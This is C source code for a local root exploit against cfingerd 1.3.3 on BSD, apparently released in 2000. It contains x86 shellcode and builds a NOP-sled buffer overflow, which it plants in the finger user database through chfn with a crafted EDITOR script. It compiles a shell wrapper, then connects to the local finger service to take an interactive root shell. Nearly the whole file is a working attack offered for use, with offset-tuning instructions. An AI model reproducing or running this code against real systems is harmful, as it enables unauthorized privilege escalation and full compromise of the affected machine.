/*
 * babcia padlina ltd. <babunia@freebsd.lublin.pl>
 * cfingerd 1.3.3 (*bsd) root sploit
 *
 * usage: adjust ptr until cfingerd will segfault with some random data on
 * output, now adjust ret.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>

#define BUFFER_SIZE	80
#define ADDRS		190
#define PTR		0xbfbfd750
#define RET		0xbfbfd7d2
#define NOP		0x90
#define FILE1		"user.inf"
#define FILE2		"hack"
#define FILE3		"set.c"
#define SHELL		"/tmp/sh"
#define FINGER		79
#define MAXLINE		1024
#define LOCALHOST	0x7f000001
#define GREEN           "\E[1;32m"
#define RED		"\E[1;31m"
#define NORM            "\E[1;39m"
#define UNBOLD          "\E[m"

void sh(sockfd)
int sockfd;
{
  char buf[MAXLINE];
  int c;
  fd_set rf, drugi;

  FD_ZERO(&rf);
  FD_SET(0, &rf);
  FD_SET(sockfd, &rf);

  while (1)
    {
      bzero(buf, MAXLINE);
      memcpy (&drugi, &rf, sizeof(rf));
      select(sockfd+1, &drugi, NULL, NULL, NULL);
      if (FD_ISSET(0, &drugi))
        {
          c = read(0, buf, MAXLINE);
          send(sockfd, buf, c, 0x4);
        }

      if (FD_ISSET(sockfd, &drugi))
        {
          c = read(sockfd, buf, MAXLINE);
          if (c<0) return;
          write(1,buf,c);
        }
    }
}

int connectto(void)
{
  int sockfd;
  char sendbuf[MAXLINE];
  struct sockaddr_in cli;

  bzero(&cli, sizeof(cli));
  cli.sin_family = AF_INET;
  cli.sin_addr.s_addr=htonl(LOCALHOST);
  cli.sin_port = htons(FINGER);

  if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
      perror("socket");
      return -1;
    }

  if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
    {
      perror("connect");
      return -1;
    }

  sprintf(sendbuf, "%.1023s\n", getenv("LOGNAME"));
  write(sockfd, sendbuf, strlen(sendbuf));

  sleep(1);

  fflush(stdout);
  fflush(stderr);

  sh(sockfd);

  return;
}



int main(argc, argv)
int argc;
char **argv;
{
  char *buf1 = NULL, *buf2 = NULL, *p = NULL;
  u_long *addr_ptr = NULL;
  int noplen, i, bufsize = BUFFER_SIZE, addrs = ADDRS;
  int retofs = 0, ptrofs = 0;
  long ret, ptr;
  FILE *phile;

  char execshell[] =
    "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
    "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
    "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff"SHELL"\x01\x01\x01\x01"
    "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

  fprintf(stderr, "\n"GREEN"babcia padlina ltd. cfingerd local root exploit"NORM UNBOLD"\n\n");

  if(argc > 5)
    {
      bufsize = atoi(argv[1]);
      addrs = atoi(argv[2]);
      ptrofs = atoi(argv[3]);
      retofs = atoi(argv[4]);
    }

  if(!(buf1 = malloc(bufsize+1)))
    {
      perror("malloc()");
      return -1;
    }

  if(!(buf2 = malloc(addrs+1)))
    {
      perror("malloc()");
      return -1;
    }

  ret = RET + ptrofs;
  ptr = PTR + ptrofs;

  noplen = bufsize - strlen(execshell);
  memset(buf1, NOP, noplen);
  strcat(buf1, execshell);

  p = buf2;
  addr_ptr = (unsigned long *)p;

  for(i = 0; i < (addrs / 4) /2; i++)
    *addr_ptr++ = ptr;

  for(i = 0; i < (addrs / 4) /2; i++)
    *addr_ptr++ = ret;

  p = (char *)addr_ptr;
  *p = '\0';

  if ((phile = fopen(FILE1, "w")) == NULL)
    {
      perror("fopen()");
      return -1;
    }

  fprintf(stderr, GREEN "RET:" RED "0x%x\n" GREEN "PTR:" RED "0x%x%\n\n" GREEN "setting up..." NORM UNBOLD "\n", ret, ptr);

  fprintf(phile, "#Changing user database information for %s.\n"
          "Shell: %s\n"
          "Full Name: %s\n"
          "Office Location: %s\n"
          "Office Phone: \n"
          "Home Phone: \n"
          "Other information: \n",
          getenv("LOGNAME"), getenv("SHELL"), buf2, buf1);

  fclose(phile);

  if ((phile = fopen(FILE2, "w")) == NULL)
    {
      perror("fopen()");
      return -1;
    }

  fprintf(phile, "cat user.inf>\"$1\"\n");
  fprintf(phile, "touch -t 2510711313 \"$1\"\n");

  fclose(phile);

  if ((phile = fopen(FILE3, "w")) == NULL)
    {
      perror("fopen()");
      return -1;
    }

  // buffer is too small to execute seteuid/setegid there, so we have
  // to do this here.

  fprintf(phile, "main() { seteuid(getuid()); setegid(getgid()); system(\"id\");  execl(\"/bin/sh\", \"sh\", 0); }");
  fclose(phile);

  system("/usr/bin/cc -o " SHELL " " FILE3);

  unlink(FILE3);

  system("EDITOR=./" FILE2 ";export EDITOR;chmod +x " FILE2 ";chfn > /dev/null 2>&1");

  unlink(FILE1);
  unlink(FILE2);

  if (connectto() < 0)
    return -1;

  unlink(SHELL);

  return 0;
}
/*                    www.hack.co.za                  [23 Feb 2000]*/